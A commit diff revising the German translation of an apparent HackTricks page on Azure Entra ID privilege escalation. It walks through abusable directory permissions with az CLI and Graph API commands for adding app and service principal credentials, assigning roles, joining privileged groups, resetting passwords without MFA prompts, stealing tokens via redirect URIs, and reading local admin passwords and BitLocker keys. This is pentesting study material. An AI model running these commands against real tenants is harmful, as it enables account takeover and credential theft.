Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-05-03 08:51:00 +00:00
parent 8b9fd9dee0
commit 63a3e91ce2
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Beachte, dass **nicht alle granularen Berechtigungen**, die in integrierten Rollen in Entra ID enthalten sind, **für die Verwendung in benutzerdefinierten Rollen geeignet sind.**
> Beachte, dass **nicht alle granularen Berechtigungen**, die eingebaute Rollen in Entra ID haben, **zur Verwendung in custom roles geeignet** sind.
## Rollen
## Roles
### Rolle: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Principals Rollen zuzuweisen und Rollen zusätzliche Berechtigungen zu erteilen. Beide Aktionen könnten missbraucht werden, um Privilegien zu eskalieren.
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um privileges zu escalieren.
- Rolle einem Benutzer zuweisen:
- Assign role to a user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Mehr Berechtigungen zu einer Rolle hinzufügen:
- Weitere Berechtigungen zu einer Rolle hinzufügen:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Dies ermöglicht einem Angreifer, **Anmeldeinformationen hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Berechtigungen erlangen.
Dies ermöglicht einem Angreifer, **Anmeldedaten hinzuzufügen** (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Privilegien erlangen.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Dies erlaubt dieselben Aktionen wie `applications/credentials/update`, ist jedoch auf Anwendungen in einem einzelnen Verzeichnis beschränkt.
Dies ermöglicht dieselben Aktionen wie `applications/credentials/update`, aber beschränkt auf Single-Directory-Anwendungen.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Indem ein Angreifer sich selbst als Eigentümer hinzufügt, kann er die Anwendung manipulieren, einschließlich der Anmeldeinformationen und Berechtigungen.
Durch das Hinzufügen von sich selbst als Owner kann ein Angreifer die Application manipulieren, einschließlich credentials und permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenant verwendet werden, und ihnen dann Login-URLs schicken, die die neue redirect URI verwenden, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die Authentifizierung automatisch erfolgt, ohne dass der Benutzer etwas akzeptieren muss.
Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenants verwendet werden, und ihnen dann login URLs mit der neuen redirect URL schicken, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die authentication automatisch erfolgt, ohne dass der Benutzer irgendetwas akzeptieren muss.
Beachte, dass es auch möglich ist, die Berechtigungen zu ändern, die die Anwendung anfordert, um mehr Rechte zu erhalten; in diesem Fall muss der Benutzer jedoch die Aufforderung zur Zustimmung zu allen Berechtigungen erneut akzeptieren.
Beachte, dass es auch möglich ist, die permissions zu ändern, die die Anwendung anfordert, um mehr permissions zu erhalten, aber in diesem Fall muss der Benutzer die Abfrage, die nach allen permissions fragt, erneut akzeptieren.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,13 +88,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
**Wie in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr verbreitet, Standardanwendungen zu finden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie sie in der Entra ID console genannt wird) vom Typ **`Application`** bedeutet, dass die Anwendung auf die API zugreifen und Aktionen ohne Benutzerkontext ausführen kann (ohne dass sich ein Benutzer in die App einloggt) und ohne Entra ID-Rollen dafür zu benötigen. Daher ist es sehr häufig, **hoch privilegierte Anwendungen in jedem Entra ID Tenant** zu finden.
**Wie in [diesem Post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt** war es sehr üblich, standardmäßige Applications zu finden, denen **API permissions** vom Typ **`Application`** zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ **`Application`** bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, die das erlauben. Daher ist es sehr üblich, **hoch privilegierte applications in jedem Entra ID tenant** zu finden.
Wenn ein Angreifer eine Berechtigung/Rolle besitzt, die es erlaubt, die Anmeldeinformationen (Secret oder Zertifikat) der Anwendung zu **aktualisieren**, kann der Angreifer eine neue Anmeldeinformation erzeugen und diese dann verwenden, um sich **als die Anwendung zu authentifizieren**, wodurch er alle Berechtigungen erhält, die die Anwendung hat.
Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die **credentials (secret o certificate) der application zu aktualisieren**, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich **als die application zu authenticate**, wodurch er alle permissions erhält, die die application hat.
Beachte, dass der erwähnte Blog einige **API permissions** gängiger Microsoft default applications aufzeigt; einige Zeit nach diesem Bericht hat Microsoft dieses Problem jedoch behoben, und es ist nun nicht mehr möglich, sich als Microsoft applications einzuloggen. Es ist jedoch weiterhin möglich, **benutzerdefinierte Anwendungen mit hohen Berechtigungen, die missbraucht werden könnten**, zu finden.
Beachte, dass der erwähnte blog einige **API permissions** gängiger Microsoft-Standardapplications teilt; jedoch hat Microsoft einige Zeit nach diesem Bericht dieses Problem behoben und jetzt ist es nicht mehr möglich, sich als Microsoft applications anzumelden. Es ist jedoch weiterhin möglich, **custom applications mit hohen privileges zu finden, die missbraucht werden könnten**.
Wie man die API permissions einer Anwendung auflistet:
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Alle API-Berechtigungen von Anwendungen finden und Microsoft-eigene APIs kennzeichnen</summary>
<summary>Finde alle Anwendungs-API-Berechtigungen und markiere Microsoft-eigene APIs</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Dies ermöglicht einem Angreifer, vorhandenen Service Principals Anmeldeinformationen hinzuzufügen. Wenn der Service Principal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
Dies ermöglicht es einem Angreifer, Credentials zu bestehenden Service Principals hinzuzufügen. Wenn der Service Principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Das neu generierte Passwort erscheint nicht in der web console, daher könnte dies ein stealth Weg sein, um persistence für einen service principal aufrechtzuerhalten.\
> Über die API lassen sie sich mit folgendem Befehl finden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
> Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealth Weg sein, um Persistence über einen service principal aufrechtzuerhalten.\
> Über die API können sie gefunden werden mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **es ist nicht möglich, die passwordCredentials property** des SP zu modifizieren und zuerst müssen Sie sie entsperren. Dafür benötigen Sie eine Berechtigung (`microsoft.directory/applications/allProperties/update`), die es Ihnen erlaubt, Folgendes auszuführen:
Wenn du den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhältst, dann liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern, und du ihn zuerst unlocken musst. Dafür brauchst du eine permission (`microsoft.directory/applications/allProperties/update`), mit der du Folgendes ausführen kannst:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Dies ermöglicht einem Angreifer, bestehenden Service Principals Anmeldeinformationen hinzuzufügen. Wenn ein Service Principal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
Dies ermöglicht es einem Angreifer, bestehende Service Principals mit Anmeldeinformationen zu versehen. Wenn der Service Principal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Ähnlich wie bei Anwendungen erlaubt diese Berechtigung, weitere Eigentümer zu einem Service Principal hinzuzufügen. Der Besitz eines Service Principals ermöglicht die Kontrolle über dessen Anmeldeinformationen und Berechtigungen.
Ähnlich wie bei applications erlaubt diese permission, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
```bash
# Add new owner
spId="<spId>"
@@ -279,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Nachdem ich einen neuen owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt wird, obwohl das die Methode ist, die du verwenden musst, um den owner zu löschen. Du **kannst owners heutzutage nicht entfernen**.
> Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt werde, obwohl genau diese Methode nötig ist, um den Owner zu löschen. Also **kann man Owners heutzutage nicht entfernen**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
### `microsoft.directory/servicePrincipals/disable` und `enable`
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein attacker könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er sich irgendwie Zugriff verschaffen könnte, um Privilegien zu eskalieren.
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff erlangen konnte, um seine Privileges zu eskalieren.
Beachte, dass der attacker für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten service principal zu übernehmen.
Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um die Kontrolle über den aktivierten service principal zu übernehmen.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -295,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was den Zugriff auf Anwendungen Dritter ermöglichen könnte.
Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -321,7 +321,7 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
Diese Berechtigung ermöglicht das Hinzufügen von Benutzern zu privilegierten Gruppen, was zu einer Privilegieneskalation führen kann.
Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilege Escalation führt.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
@@ -329,7 +329,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/owners/update`
Diese Berechtigung ermöglicht es, Eigentümer von Gruppen zu werden. Ein Eigentümer einer Gruppe kann die Mitgliedschaft und Einstellungen der Gruppe steuern und damit möglicherweise Privilegien auf die Gruppe eskalieren.
Diese Berechtigung erlaubt es, ein owner von groups zu werden. Ein owner einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -338,13 +338,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Diese Berechtigung ermöglicht das Hinzufügen von Mitgliedern zu einer Gruppe. Ein attacker könnte sich selbst oder bösartige Konten zu privileged groups hinzufügen, was erhöhte Zugriffsrechte zur Folge haben kann.
Diese Berechtigung erlaubt das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder schädliche Konten zu privilegierten groups hinzufügen, was erhöhten Zugriff gewähren kann.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Diese Berechtigung erlaubt das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein attacker könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne explizite Aufnahme.
Diese Berechtigung erlaubt es, die Membership Rule in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen ohne explizite Hinzufügung aufzunehmen.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,27 +355,41 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Hinweis**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
**Note**: Diese Berechtigung schließt Entra ID role-assignable groups aus.
### Dynamic Groups Privesc
Es könnte möglich sein, dass Benutzer durch Ändern ihrer eigenen Eigenschaften als Mitglieder von dynamic groups hinzugefügt werden und dadurch escalate privileges erlangen. Für weitere Informationen siehe:
Es könnte möglich sein, dass Benutzer ihre Privilegien eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder von dynamic groups hinzugefügt zu werden. Für weitere Infos siehe:
{{#ref}}
dynamic-groups.md
{{#endref}}
## Benutzer
## Users
### `microsoft.directory/users/password/update`
Diese Berechtigung erlaubt das Zurücksetzen des Passworts von non-admin users, wodurch ein potenzieller Angreifer escalate privileges gegenüber anderen Benutzern erlangen könnte. Diese Berechtigung kann nicht custom roles zugewiesen werden.
Diese Berechtigung erlaubt es, das Passwort von Nicht-Admin-Benutzern zurückzusetzen, wodurch ein potenzieller Angreifer seine Privilegien auf andere Benutzer eskalieren kann. Diese Berechtigung kann nicht custom roles zugewiesen werden.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
```
### `microsoft.directory/users/basic/update`
Diese Berechtigung erlaubt das Ändern von Eigenschaften eines Benutzers. Es ist häufig, dynamische Gruppen zu finden, die Benutzer basierend auf Eigenschaftswerten hinzufügen; daher könnte diese Berechtigung einem Benutzer erlauben, den benötigten Eigenschaftswert zu setzen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.
Diese Privilege erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamic groups zu finden, die Users basierend auf property values hinzufügen. Daher könnte diese permission einem User erlauben, den benötigten property value zu setzen, um Mitglied einer bestimmten dynamic group zu werden und Privileges zu escalaten.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -393,17 +407,17 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden. Prüfe:
Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden, prüfe:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## Geräte
## Devices
### `microsoft.directory/devices/registeredOwners/update`
Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Geräten zuzuweisen, um Kontrolle zu erlangen oder Zugriff auf gerätespezifische Einstellungen und Daten zu erhalten.
Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Devices zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -425,7 +439,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten Zugangsdaten des lokalen Administratorkontos für Microsoft Entra joined devices zu lesen, einschließlich des Passworts.
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Kontodaten für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -440,7 +454,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Diese Berechtigung ermöglicht den Zugriff auf BitLocker keys, wodurch ein Angreifer Laufwerke entschlüsseln und so die Vertraulichkeit von Daten gefährden könnte.
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Keys, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.
```bash
# List recovery keys
az rest --method GET \
@@ -451,7 +465,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Weitere interessante Berechtigungen (TODO)
## Andere interessante Berechtigungen (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`